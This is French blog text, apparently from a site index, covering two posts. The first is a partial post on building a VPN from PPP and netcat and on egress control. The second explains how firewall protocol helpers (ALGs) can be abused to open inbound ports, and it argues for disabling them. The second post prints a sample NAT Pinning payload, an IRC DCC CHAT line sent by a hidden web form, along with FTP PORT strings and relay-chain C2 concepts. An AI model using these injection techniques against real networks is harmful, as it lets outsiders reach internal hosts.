sa seule machine relais 1 réseau d'une autre firme relais 2 un VPS détourné relais 3 un routeur domestique destination là où cela allait voit : 1←→2 voit : 2←→3 voit : 3←→dest Aucun saut ne voit au-delà de ses deux voisins. Pas d'origine, pas de destination, rien que du milieu. Le trafic se blanchit à travers une série de systèmes appartenant à d'autres, chacun faisant tourner le même relais de deux sockets et un tuyau sous le contrôle de l'attaquant. D'où le sortant d'un hôte compromis qui mène à une autre victime, pas à l'attaquant — vingt ans de C2. Chaque saut est un hôte compromis — la machine d\u0026rsquo;une autre entreprise, un VPS détourné, un routeur domestique — faisant tourner le même relais deux-sockets-et-un-tube sous le commandement de l\u0026rsquo;attaquant. Aucun saut ne peut voir au-delà de ses deux voisins : le propriétaire du relais 2 voit une connexion depuis le relais 1 et une vers le relais 3, et rien d\u0026rsquo;autre. Le trafic est blanchi à travers une chaîne de systèmes tiers, c\u0026rsquo;est pourquoi le sortant d\u0026rsquo;un hôte compromis mène si souvent vers une autre victime plutôt que vers l\u0026rsquo;attaquant. Chaque propriétaire le long de cette chaîne ne voit qu\u0026rsquo;une connexion du saut d\u0026rsquo;avant vers le saut d\u0026rsquo;après : ni origine, ni destination, juste du milieu. Ce n\u0026rsquo;est pas une idée nouvelle que je tends à quiconque. C\u0026rsquo;est ainsi que les chaînes de pivot et les réseaux C2 fonctionnent depuis vingt ans, et pourquoi le trafic sortant d\u0026rsquo;un hôte compromis mène si souvent vers une autre victime plutôt que vers l\u0026rsquo;attaquant. Vos journaux montrent que vous avez parlé à une machine dans un centre de données quelque part. À qui, et vers quoi elle relaie, n\u0026rsquo;y a jamais figuré.\nLe poids défensif tient en une ligne : vous ne pouvez ni attribuer ni faire confiance à une destination que vous n\u0026rsquo;avez pas restreinte à l\u0026rsquo;avance. Le temps que le trafic sorte, l\u0026rsquo;adresse vers laquelle il sort ne vous dit presque rien, car c\u0026rsquo;est un relais sur la machine de quelqu\u0026rsquo;un d\u0026rsquo;autre et le vrai point de terminaison est blanchi derrière.\nLe Lien N\u0026rsquo;A Jamais Été Le Produit Ce qui me frappe, après avoir démonté ceci, c\u0026rsquo;est combien peu en est neuf et combien en est vendu.\nLe RFC 1661 date de 1994. pppd est dans chaque distribution Linux depuis trente ans, les modules noyau sont huit fichiers dans un répertoire, et tout ce qui fait d\u0026rsquo;un VPN un VPN — une interface virtuelle, un lien négocié, un transporteur chiffré, une route — ce sont quatre programmes et un certificat. Rien de tout cela n\u0026rsquo;est difficile ni secret. Ils ont documenté chaque octet et l\u0026rsquo;ont donné, et une industrie a poussé entre vous et lui, vendant les mêmes quatre pièces dans une boîte avec une licence par siège et un contrat de support qui expire. Les pièces ne se sont pas améliorées. Elles ont été emballées.\nCe n\u0026rsquo;est pas un argument pour faire tourner ceci en production. Je viens de vous dire de ne pas le faire. C\u0026rsquo;est un argument pour savoir ce qu\u0026rsquo;il y a dans la boîte que vous achetez, car le jour où le fournisseur change la licence, se fait racheter, ou met fin à votre modèle, la différence entre un mauvais trimestre et une mauvaise année est de savoir si quelqu\u0026rsquo;un chez vous sait de quoi la chose était faite.\nPrenez une soirée et construisez le tunnel à partir des pièces. Regardez LCP négocier, cassez le lien et regardez-le revenir, retirez le certificat et voyez ce qui cesse de marcher. Puis relisez la fiche technique de votre fournisseur VPN, et voyez combien vous en reconnaissez.\nLa même soirée achète l\u0026rsquo;autre moitié. Si un lien routé hors de votre réseau, ce sont quatre programmes installés et un certificat, celui qui vient d\u0026rsquo;obtenir root sur une de vos machines n\u0026rsquo;est pas retenu par la difficulté de construire le tunnel. Ce n\u0026rsquo;est pas difficile. Il n\u0026rsquo;est retenu que par ce que vous avez décidé, avant son arrivée, d\u0026rsquo;autoriser à sortir. Construisez-le une fois et vous cessez de penser l\u0026rsquo;egress comme quelque chose qu\u0026rsquo;un produit fait respecter, pour commencer à le penser comme une décision que vous avez prise ou non.\nPas grand-chose là-dedans n\u0026rsquo;est de la magie. La plupart, c\u0026rsquo;est 1994 avec un coup de peinture, et 1994 n\u0026rsquo;avait rien de faux. Ça marchait, c\u0026rsquo;était documenté, et ça tourne encore.\nRFC 1661 — The Point-to-Point Protocol (PPP), 1994. Définit le lien, LCP et la famille des protocoles de contrôle réseau qui reposent dessus.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2637 — Point-to-Point Tunneling Protocol (PPTP), qui transporte PPP dans GRE.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3931 — Layer Two Tunneling Protocol version 3, le descendant sur la voie des standards du protocole qui transporte PPP dans UDP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npppd(8) — la page de manuel du daemon PPP. Source pour pty, notty, local, passive, noipdefault, proxyarp, record, receive-all, les options d\u0026rsquo;écho LCP et le défaut asyncmap : »If no asyncmap option is given, the default is zero, so pppd will ask the peer not to escape any control characters. » Les citations ici ont été lues dans man pppd sur ppp 2.5.1.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 1662 — PPP in HDLC-like Framing. La séquence fanion, la règle de bourrage d\u0026rsquo;octets et l\u0026rsquo;Async-Control-Character-Map : »Each frame begins and ends with a Flag Sequence, which is the binary sequence 01111110 (hexadecimal 0x7e). »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOlaf Titz, Why TCP Over TCP Is A Bad Idea — l\u0026rsquo;explication de référence de l\u0026rsquo;empilement des retransmissions, ouvrant sur cette construction précise. L\u0026rsquo;URL d\u0026rsquo;origine ne sert plus l\u0026rsquo;article ; ceci est une capture de l\u0026rsquo;Internet Archive.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 5072 — IP Version 6 over PPP. IPV6CP et les identifiants d\u0026rsquo;interface de 64 bits, indépendants d\u0026rsquo;IPCP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 1994 — PPP Challenge Handshake Authentication Protocol (CHAP). Prouve l\u0026rsquo;identité du pair ; ne chiffre rien.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3079 — Deriving Keys for use with Microsoft Point-to-Point Encryption (MPPE). La construction RC4 tirée de l\u0026rsquo;échange MS-CHAP, et la raison pour laquelle PPTP n\u0026rsquo;est pas une option vivante.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNcat Users\u0026rsquo; Guide — connecting through a proxy — --proxy et --proxy-type pour HTTP CONNECT et SOCKS 4/5, si bien que le transporteur TLS se termine au proxy, pas au bout distant du tunnel.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNcat Users\u0026rsquo; Guide — les options --ssl, --ssl-verify et --ssl-trustfile, et les modes écoute et UDP. Version testée ici : Ncat 7.92.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUniversal TUN/TAP device driver — la propre documentation du noyau pour /dev/net/tun, TUNSETIFF et la différence entre tun et tap.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPEP 784 — Adding Zstandard to the standard library, la raison pour laquelle compression.zstd n\u0026rsquo;a besoin d\u0026rsquo;aucun paquet sous Python 3.14. Mesuré ici contre Python 3.14.7 et zstd 1.5.7.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 7457 — Summarizing Known Attacks on TLS and DTLS, qui couvre CRIME et la forme générale d\u0026rsquo;une fuite de longueur due à la compression avant chiffrement.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenVPN — the VORACLE attack — la même fuite contre un VPN qui compresse avant de chiffrer, et la raison pour laquelle OpenVPN déconseille désormais la compression.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/networking/a-vpn-out-of-parts-and-what-egress-really-is/","summary":"Un VPN, c\u0026rsquo;est deux tâches : quelque chose qui fabrique un lien virtuel, et quelque chose qui transporte les octets. PPP fait la première depuis 1994 et se moque de la seconde — c\u0026rsquo;est pourquoi PPTP, L2TP et chaque ligne commutée que vous avez utilisée sont le même protocole sur des transporteurs différents. Netcat est un transporteur. Ce billet le construit des deux façons. D\u0026rsquo;abord pppd : l\u0026rsquo;option pty et ce qu\u0026rsquo;elle fait d\u0026rsquo;un pseudo-terminal, la version TCP que tout le monde essaie d\u0026rsquo;abord, pourquoi faire tourner un protocole de flux dans TCP s\u0026rsquo;effondre sous la perte, la version UDP qu\u0026rsquo;il faut prendre, le tramage HDLC asynchrone et l\u0026rsquo;ACCM qui décide de la bande passante dépensée à échapper des caractères de contrôle, l\u0026rsquo;adressage et le routage et IPV6CP, et garder le lien en vie quand le transporteur meurt sans le dire. Puis le même tunnel sans PPP du tout — un tap, un datagramme par trame sur UDP, le préfixe de longueur qu\u0026rsquo;il faut inventer soi-même sur TCP, tun contre tap, et le bridging. Puis la partie pour laquelle netcat n\u0026rsquo;a pas de réponse : envelopper le transporteur dans TLS avec ncat, stunnel et openssl, et dans DTLS avec socat, qui est la forme qu\u0026rsquo;on veut vraiment. Ce n\u0026rsquo;est jamais vraiment le bon outil, et c\u0026rsquo;est là le propos : il montre comment se comporte l\u0026rsquo;egress dès qu\u0026rsquo;un attaquant a root dans votre réseau et que l\u0026rsquo;accès sortant n\u0026rsquo;était pas bloqué par défaut, et pourquoi le default-deny à la frontière est le seul contrôle qui ait jamais été réel.","title":"Un VPN en pièces détachées : PPP, tap et Netcat"},{"content":"Il y a sur votre pare-feu une fonction qui lit l\u0026rsquo;intérieur de vos paquets, y trouve une adresse IP et un numéro de port écrits en toutes lettres, et leur ouvre un trou entrant. Aucune règle. Aucune demande de changement. Aucune ligne de journal que vous iriez consulter un jour. Elle est active par défaut sur la plupart des équipements qui la possèdent, elle l\u0026rsquo;est depuis près de vingt-cinq ans, et le secteur qui l\u0026rsquo;a mise là a passé les vingt dernières à conclure discrètement qu\u0026rsquo;elle devrait être coupée — dans des documents de normalisation, dans les valeurs par défaut du noyau, et au fil de quatre vagues distinctes de correctifs d\u0026rsquo;urgence pour navigateurs.\nCela s\u0026rsquo;appelle un assistant de protocole, ou Application Level Gateway, ALG, session helper, fixup, moteur d\u0026rsquo;inspection, helper conntrack. La même chose. Cela existe parce que le NAT a cassé une poignée de protocoles qui écrivent des adresses dans leur propre charge utile, et parce que quelqu\u0026rsquo;un a décidé que le moins mauvais correctif était d\u0026rsquo;apprendre au traducteur à lire et réécrire cette charge utile au passage.\nVoici la partie qui devrait vous arrêter.\nL\u0026rsquo;assistant ne peut pas savoir qui a écrit le texte. Il lit des octets sur une connexion et agit dessus, immédiatement, sans rien demander à personne. Il n\u0026rsquo;a aucun moyen de savoir si la chaîne PORT 192,168,1,29,4,0 a été produite par un vrai client FTP effectuant un vrai transfert, ou par un formulaire caché sur une page web que votre utilisateur a ouverte par accident. Les deux sont identiques sur le fil, parce qu\u0026rsquo;elles sont identiques sur le fil. Un inconnu sur internet capable de convaincre n\u0026rsquo;importe quoi de votre réseau d\u0026rsquo;émettre les bons octets — un navigateur, un client de discussion, tout ce qui envoie ce qu\u0026rsquo;on lui dit — choisit donc quel port entrant votre pare-feu ouvre, et vers quoi.\nCe n\u0026rsquo;est pas un bogue dans l\u0026rsquo;analyseur d\u0026rsquo;un fournisseur. C\u0026rsquo;est ce que la fonction fait. Les rapports de bogues et les CVE sont le détail intéressant par-dessus ; la forme en dessous, c\u0026rsquo;est qu\u0026rsquo;un équipement de sécurité prend des instructions de configuration dans des données non fiables et les applique immédiatement.\nSamy Kamkar a démontré la version navigateur en janvier 20101, une bien meilleure en octobre 20202, et trois mois plus tard Armis l\u0026rsquo;a étendue pour que le port ouvert n\u0026rsquo;ait même pas besoin d\u0026rsquo;être sur la machine qui a cliqué : il peut être sur votre imprimante, votre caméra, ou un automate programmable deux VLAN plus loin3. Entre-temps, l\u0026rsquo;IETF a écrit que ces choses devraient être désactivées par défaut4, Linux les a coupées dans le noyau5, et les éditeurs de navigateurs ont livré une liste de ports bloqués qui se lit presque ligne pour ligne comme un répertoire des modules conntrack de Linux6. Chacun de ces correctifs a été appliqué ailleurs, parce que ce qui avait réellement besoin d\u0026rsquo;être corrigé se trouve dans une boîte que personne n\u0026rsquo;ira corriger.\nLa conclusion à laquelle je suis arrivé, c\u0026rsquo;est que les assistants de protocole devraient être désactivés par défaut partout, et effectivement désactivés sur tout réseau dont vous êtes responsable. Pas réglés. Pas restreints à des sous-réseaux de confiance en première intention. Coupés, avec les deux ou trois exceptions réelles écrites et datées, exactement comme vous documenteriez n\u0026rsquo;importe quelle autre règle entrante — parce que c\u0026rsquo;est ce qu\u0026rsquo;elles sont.\nCe qui suit, c\u0026rsquo;est le mécanisme, puis les attaques dans l\u0026rsquo;ordre où elles ont été trouvées, puis la position de conformité, parce qu\u0026rsquo;au Royaume-Uni ce n\u0026rsquo;est pas seulement imprudent mais un échec net d\u0026rsquo;une exigence de certification que vous détenez peut-être déjà, et enfin les commandes pour y remédier.\nCe qu\u0026rsquo;un inconnu y gagne Commençons par le résultat, car le mécanisme intéresse plus facilement quand on a vu la facture. Quelqu\u0026rsquo;un ouvre un lien. C\u0026rsquo;est là toute sa contribution. La page exécute du JavaScript qui parle au serveur de l\u0026rsquo;attaquant, et ce serveur façonne la conversation — en la rembourrant, en la mesurant, en acquittant certaines parties et pas d\u0026rsquo;autres — jusqu\u0026rsquo;à ce qu\u0026rsquo;un segment arrive sur votre pare-feu avec exactement l\u0026rsquo;allure du message d\u0026rsquo;ouverture d\u0026rsquo;un appel VoIP. Votre pare-feu y croit, parce qu\u0026rsquo;y croire est la fonction. Il crée une association entrante, et l\u0026rsquo;attaquant se reconnecte directement à travers.\nDans la version de 2020, le port s\u0026rsquo;ouvre sur la machine qui a cliqué, c\u0026rsquo;est-à-dire tout service à l\u0026rsquo;écoute sur cet hôte, joignable depuis internet tant que l\u0026rsquo;association vit2. Le partage de fichiers. Le bureau à distance que personne ne voulait laisser à l\u0026rsquo;écoute. Sur le Fisher-Price OS (Windows), Armis a fait la remarque évidente : atteignez le port de partage de fichiers et vous êtes à un hôte non corrigé du chemin qu\u0026rsquo;a pris WannaCry3.\nLa version de 2021 est pire, et c\u0026rsquo;est la partie qui devrait trancher pour vous. Comme l\u0026rsquo;assistant H.323 gère le renvoi d\u0026rsquo;appel, un seul message peut nommer une troisième adresse plutôt qu\u0026rsquo;une des deux extrémités de la connexion ; l\u0026rsquo;attaquant n\u0026rsquo;est donc plus limité à la machine qui a cliqué et peut parcourir votre plage interne, ouvrir un port sur chaque adresse et lire ce qui répond. Armis a démontré exactement cela : le port 80 sur toute une plage, les bannières collectées, une cible choisie, puis le port d\u0026rsquo;impression brute de l\u0026rsquo;imprimante ouvert et un travail envoyé dessus. Leur seconde démonstration a atteint un automate sur son port d\u0026rsquo;administration non authentifié et a modifié son programme3.\nAucune vulnérabilité n\u0026rsquo;a été exploitée sur ces équipements. L\u0026rsquo;imprimante était une imprimante qui marchait, la caméra une caméra qui marchait, l\u0026rsquo;automate un automate qui marchait, et la seule chose qui a échoué, c\u0026rsquo;est la frontière — laquelle a échoué en faisant précisément ce pour quoi elle était configurée. Regardez aussi qui se trouve à l\u0026rsquo;intérieur de cette frontière. Pas seulement votre personnel : un visiteur sur le réseau invité, le portable d\u0026rsquo;un prestataire, n\u0026rsquo;importe qui avec un navigateur. L\u0026rsquo;attaque ne demande ni identifiants, ni point d\u0026rsquo;appui, ni logiciel malveillant, car le navigateur est le vecteur et il est déjà installé et déjà de confiance.\nMettez maintenant cela en regard de ce à quoi sert un pare-feu : garantir que rien de l\u0026rsquo;extérieur n\u0026rsquo;engage une conversation avec quoi que ce soit à l\u0026rsquo;intérieur sans que vous l\u0026rsquo;ayez dit. L\u0026rsquo;assistant est l\u0026rsquo;exception, et l\u0026rsquo;exception est accordée sur la foi d\u0026rsquo;une chaîne de caractères dans un paquet.\nCe qu\u0026rsquo;est réellement un assistant de protocole Un NAT ordinaire est une chose bête et honnête. Un paquet arrive, il réécrit l\u0026rsquo;adresse et le port source dans l\u0026rsquo;en-tête, note une ligne pour que la réponse puisse être retournée, et transmet. Il ne regarde jamais sous l\u0026rsquo;en-tête de transport, et il ne sait ni ne se soucie de savoir si les octets à l\u0026rsquo;intérieur sont une requête web, une requête de base de données ou la photo d\u0026rsquo;un chien.\nCela marche jusqu\u0026rsquo;à ce qu\u0026rsquo;un protocole écrive une adresse dans sa propre charge utile. FTP le fait, en clair dans le flux de commandes : reconnectez-vous à moi à cette adresse, sur ce port. SIP le fait dans les champs Via, Contact et SDP, H.323 le fait, et IRC le fait pour les transferts directs. Tous ont été conçus quand l\u0026rsquo;adresse d\u0026rsquo;un hôte était l\u0026rsquo;adresse de cet hôte et que chaque machine pouvait joindre toutes les autres, et sous cette hypothèse c\u0026rsquo;est parfaitement raisonnable. Mettez un traducteur dans le chemin et l\u0026rsquo;adresse dans la charge utile devient un mensonge.\nUn traducteur simple lit l'en-tête. Un assistant lit la charge utile et ouvre un trou d'après ce qu'il y trouve. Même point du chemin. L'un des deux lit la lettre en plus de l'enveloppe. Un traducteur simple Un assistant de protocole Le paquet qui arrive [en-tête IP 192.168.1.29:51000] [ charge utile ] Le paquet qui arrive [en-tête IP 192.168.1.29:51000] [ PORT 192,168,1,29,4,0 ] Ce qu’il fait Réécrit l'adresse et le port source dans l'en-tête Corrige les sommes de contrôle Inscrit une ligne pour pouvoir inverser la réponse Le transmet Ce qu’il fait Tout cela, et ensuite lit la charge utile et y trouve une adresse et un port les réécrit aussi et décale les numéros de séquence inscrit une seconde ligne : autoriser cette connexion Les tables qu’il tient La table de traduction seule. Une ligne, un flux, réversible. Rien dans la charge utile ne peut ajouter de ligne. Les tables qu’il tient Table de traduction, et une table d'attentes. Une ligne de la seconde est une règle de pare-feu entrante. La seconde table est tout le sujet. Elle dit : si une connexion arrive de l'extérieur et correspond à ce motif, laisse-la passer. Personne ne l'a écrite ni approuvée. Deux équipements au même endroit du chemin. Le traducteur ordinaire réécrit l\u0026rsquo;en-tête et transmet le paquet, sans jamais lire la charge utile. L\u0026rsquo;assistant lit la charge utile, y réécrit l\u0026rsquo;adresse qu\u0026rsquo;il trouve et ajoute une ligne à une seconde table qui autorisera plus tard une connexion entrante. Cette seconde table est le sujet de ce billet. L\u0026rsquo;assistant fut donc inventé. Il lit la charge utile, trouve l\u0026rsquo;adresse, la réécrit en adresse publique, puis fait ce que tout le monde saute : il crée une règle autorisant la connexion entrante que la charge utile vient de décrire. Netfilter appelle cette règle une expectation. Cisco l\u0026rsquo;appelle pinhole, ou porte NAT7. Palo Alto l\u0026rsquo;appelle pinhole NAT dynamique8. Juniper l\u0026rsquo;appelle gate. Mot différent, objet identique : un trou percé dans la frontière, sur la foi de quelque chose lu dans un paquet.\nL\u0026rsquo;IETF a nommé le motif avant que la plupart de ces produits n\u0026rsquo;existent. Un ALG, dit le RFC 2663, est un « application specific translation agent » qui « may interact with NAT to set up state, use NAT state information, modify application specific payload and perform whatever else is necessary to get the application running across disparate address realms »9. Relisez cela avec un adversaire en tête : whatever else is necessary, piloté par application specific payload. Et dès février 2002, la taxonomie des middleboxes de l\u0026rsquo;IETF appelait le mécanisme par son nom, notant que certains ALG créent des problèmes de fragmentation « although in this case the problem is arguably the result of a deliberate layer violation (e.g., mucking with the application data stream of an FTP control connection by twiddling TCP segments on the fly) »10.\nUne violation de couche délibérée. Tripatouiller les segments TCP à la volée. C\u0026rsquo;est le mécanisme, décrit par ceux qui l\u0026rsquo;ont catalogué il y a vingt-quatre ans, et c\u0026rsquo;est le même mécanisme que traverse en droite ligne chaque attaque de ce billet.\nL\u0026rsquo;expectation est tout le problème Tout le reste de ce billet découle d\u0026rsquo;un seul objet, il vaut donc la peine de bien le comprendre.\nUne expectation est une connexion pré-autorisée : un tuple adresse source, port source, adresse destination, port destination et protocole, certains champs remplis, d\u0026rsquo;autres laissés en joker, plus un minuteur. Quand un paquet correspondant arrive, le pare-feu le traite comme lié à un flux autorisé existant plutôt que comme une nouvelle connexion entrante, le laisse passer et consomme l\u0026rsquo;expectation. Sous Linux, vous les lisez directement dans /proc/net/nf_conntrack_expect, ou avec conntrack -L expect. Sur un système sain cette liste est vide, et c\u0026rsquo;est bien le but : les expectations sont censées être rares, éphémères et déclenchées par quelque chose qu\u0026rsquo;un hôte interne a réellement demandé.\nUne attente est une règle entrante avec des blancs, et les blancs sont le modèle de sécurité Un objet, cinq champs, un minuteur. Quels champs sont vides, voilà tout le modèle de sécurité. expect proto=tcp src=\u0026lt;qui peut se connecter\u0026gt; sport=\u0026lt;tout\u0026gt; dst=\u0026lt;où cela atterrit\u0026gt; dport=\u0026lt;quel port\u0026gt; timeout=300 Assistant Qui peut se connecter Où cela atterrit Quel port Pire cas FTP le serveur, fixé le client, fixé depuis la charge utile tout port sur un hôte IRC n'importe quelle adresse le client, fixé depuis la charge utile tout port, de n'importe qui H.323 n'importe quelle adresse depuis la charge utile depuis la charge utile tout port sur tout hôte Bleu : fixé par le pare-feu d'après la connexion qu'il voit.\u0026#160;\u0026#160;Or : fourni par la charge utile.\u0026#160;\u0026#160;Rose : laissé ouvert, à dessein. 1. Quels champs sont des jokers ? Une source en joker signifie que le trou n'est pas réservé au bout distant de la conversation qui l'a créé. Le premier qui atteint votre interface externe le prend. L'assistant IRC doit le faire, car le protocole ne peut vraiment pas savoir qui va se connecter, bonne description d'un protocole qu'il ne faudrait pas assister du tout. 2. Qui a fourni les valeurs ? Pas le pare-feu. La charge utile, et elle a été écrite par le bout de la conversation que l'assistant lisait à ce moment-là. Il n'y a aucune authentification nulle part dans cette phrase. 3. Vers quoi le trou peut-il pointer ? Sur la plupart, vers l'hôte qui l'a créé. Sur H.323, vers ce que dit la charge utile, car le renvoi nomme un tiers. Une expectation est une règle de pare-feu dont certains champs sont laissés en blanc, avec un minuteur dessus. Trois questions décident si elle est sûre, et ce sont les trois bonnes questions à poser à n\u0026rsquo;importe quel assistant sur n\u0026rsquo;importe quelle plateforme. Deux de ces réponses sont pires qu\u0026rsquo;on ne le croit. Les valeurs viennent de la charge utile et non du pare-feu, donc de l\u0026rsquo;extrémité de la conversation que l\u0026rsquo;assistant était en train de lire. Et sur l\u0026rsquo;assistant IRC, l\u0026rsquo;adresse source est un joker par conception, parce que le protocole ne peut pas savoir qui va se connecter : il « creates expectations whose destination address is the client address and source address is any address »11.\nVoici la phrase à emporter. Une expectation est une règle de pare-feu entrante, créée à la vitesse du fil, par une partie non fiable, sans aucune trace de qui l\u0026rsquo;a demandée ni pourquoi. Gardez-la jusqu\u0026rsquo;à la section Cyber Essentials, car c\u0026rsquo;est là tout l\u0026rsquo;argument.\nComme prévu : FTP dit PORT, et le pare-feu le croit Prenez l\u0026rsquo;assistant le plus simple et regardez-le travailler correctement, car l\u0026rsquo;attaque est la même séquence avec un participant remplacé. Le FTP actif utilise deux connexions. Le client ouvre une connexion de contrôle vers le serveur sur le port 21 et lui donne des commandes en ASCII, et quand un transfert est voulu il ouvre une socket en écoute et envoie une commande PORT nommant l\u0026rsquo;adresse et le port de rappel, après quoi le serveur se connecte en entrant. C\u0026rsquo;est le protocole tel que spécifié, et il fonctionne ainsi depuis 1985. Sur le fil, ce sont six nombres, quatre pour l\u0026rsquo;adresse et deux pour le port, octet de poids fort d\u0026rsquo;abord :\nPORT 192,168,1,29,4,0 C\u0026rsquo;est 192.168.1.29, port 1024, parce que 4 × 256 + 0 = 1024.\nFTP actif via un assistant : quatre étapes, toutes correctes, et deux vérifications en tout FTP actif exactement selon la spécification, et ce qui a été vérifié avant l'ouverture du trou Client FTP 192.168.1.29 Pare-feu + assistant 203.0.113.10 Serveur FTP 198.51.100.7 1\u0026#160;\u0026#160;connexion de contrôle sortante vers le port 21 \u0026#8212; autorisée, partie de l'intérieur 2\u0026#160;\u0026#160;le client écoute, puis écrit sa propre adresse dans le flux PORT 192,168,1,29,4,0 3\u0026#160;\u0026#160;l'assistant agit réécrit l'adresse, crée l'attente PORT 203,0,113,10,4,0 expect src=198.51.100.7 dst=192.168.1.29 dport=1024 4\u0026#160;\u0026#160;le serveur se connecte en entrée, l'attente correspond, les données passent Regardez ce que le pare-feu a vérifié avant que l'étape quatre devienne possible. Que les octets étaient sur une connexion vers le port 21. Et commençaient par les quatre caractères PORT. Tout est là, car il n'y a rien d'autre à vérifier. FTP ne porte ni signature, ni clé de session, ni quoi que ce soit à tester. Du FTP actif à travers un assistant, faisant exactement ce pour quoi il a été conçu, correctement, à chaque étape. Notez ce que le pare-feu a vérifié avant d\u0026rsquo;ouvrir le trou : que les octets étaient sur le port 21 et commençaient par PORT. Rien d\u0026rsquo;autre, parce qu\u0026rsquo;il n\u0026rsquo;y a rien d\u0026rsquo;autre à vérifier. L\u0026rsquo;assistant surveille ce flux, repère PORT, réécrit l\u0026rsquo;adresse privée en adresse publique en ajustant les numéros de séquence puisque la chaîne a changé de longueur, et crée une expectation autorisant la connexion entrante du serveur sur le port nommé. Vraiment utile, tout à fait raisonnable compte tenu des contraintes de 1994, et correct à chaque étape.\nRegardez bien ce qui a été vérifié avant l\u0026rsquo;ouverture du trou. Les octets étaient sur une connexion vers le port 21. Ils commençaient par PORT. C\u0026rsquo;est tout. Rien d\u0026rsquo;autre, parce qu\u0026rsquo;il n\u0026rsquo;y a rien d\u0026rsquo;autre à vérifier : FTP n\u0026rsquo;a aucune signature à offrir, aucune clé de session et aucune authentification, et l\u0026rsquo;assistant lit un flux auquel il n\u0026rsquo;est pas partie.\nUne autre chose vit dans ce code, et c\u0026rsquo;est un avertissement que les auteurs se sont écrit à eux-mêmes. Si l\u0026rsquo;adresse de la commande PORT n\u0026rsquo;est pas celle du client — si le client demande au serveur de se connecter ailleurs — l\u0026rsquo;assistant Linux refuse par défaut, et le commentaire dans les sources dit pourquoi : « DMZ machines opening holes to internal networks, or the packet filter itself »12. Mettez le paramètre de module loose et ce refus disparaît. Ceux qui ont écrit l\u0026rsquo;assistant savaient exactement à quoi on pouvait le faire servir. Ils ont livré la valeur par défaut sûre et un interrupteur, et vingt-cinq ans plus tard l\u0026rsquo;interrupteur est toujours là.\nPas comme prévu : les mêmes octets, depuis une page web Un assistant lit un flux d\u0026rsquo;octets et compare un motif. Il ne vérifie pas, et par construction ne peut pas vérifier, que la chose à l\u0026rsquo;autre bout est le client qu\u0026rsquo;elle prétend être. Samy Kamkar a publié la conséquence en janvier 2010 et l\u0026rsquo;a appelée NAT Pinning1. Le mécanisme est d\u0026rsquo;une petitesse gênante : posez un formulaire sur une page web, pointez-le vers le serveur de l\u0026rsquo;attaquant sur le port 6667, et arrangez le corps pour qu\u0026rsquo;il contienne une demande de discussion directe.\nPRIVMSG samy :^ADCC CHAT samy 3325256705 22^A Le navigateur l\u0026rsquo;envoie en croyant faire un POST HTTP. L\u0026rsquo;assistant IRC du routeur, qui surveille une connexion sur le port 6667, voit passer DCC CHAT avec une adresse et un port et fait ce pour quoi il est bâti. L\u0026rsquo;adresse est ici 198.51.100.1 écrite comme un seul nombre décimal, car c\u0026rsquo;est ainsi que le protocole l\u0026rsquo;encode, et le port est 22 ; rien dans cette chaîne n\u0026rsquo;a été choisi par la victime. La variante FTP est la même idée visant le port 21, avec une ligne de réponse en mode passif à la place1.\nPas de cross-site scripting. Pas de falsification de requête au sens habituel. Aucune vulnérabilité dans le navigateur. Le navigateur a fait ce que font les navigateurs, le pare-feu a fait ce pour quoi il était configuré, et le résultat est une redirection de port vers l\u0026rsquo;attaquant.\nDeux colonnes que l'assistant ne peut pas distinguer, car sur le câble il n'y a rien à distinguer Le protocole tel que conçu, et une page web. L'assistant voit une seule image. Un vrai client Un formulaire caché Ce qui le déclenche Quelqu’un ouvre un client FTP ou IRC et se connecte Le client ouvre un socket et le nomme dans le flux PORT 192,168,1,29,4,0 Ce qui le déclenche Quelqu’un ouvre une page. C'est toute sa contribution. Un formulaire poste vers le serveur adverse, même port PORT 192,168,1,29,4,0 Ce que l'assistant vérifie port de destination correspond\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;oui mot-clé au début des données\u0026#160;\u0026#160;\u0026#160;oui syntaxe analysable\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;oui adresse et port présents\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;oui Ce que l'assistant vérifie port de destination correspond\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;oui mot-clé au début des données\u0026#160;\u0026#160;\u0026#160;oui syntaxe analysable\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;oui adresse et port présents\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;oui un port entrant s'ouvre, à l'identique, dans les deux colonnes Ce qui diffère, ce sont les trois choses que l'assistant ne voit pas. Qu'un client soit impliqué. Que l'utilisateur l'ait voulu. Qui a choisi l'adresse et le port. Rien de tout cela ne laisse de trace sur le câble : aucun soin dans l'analyseur ne le retrouve. 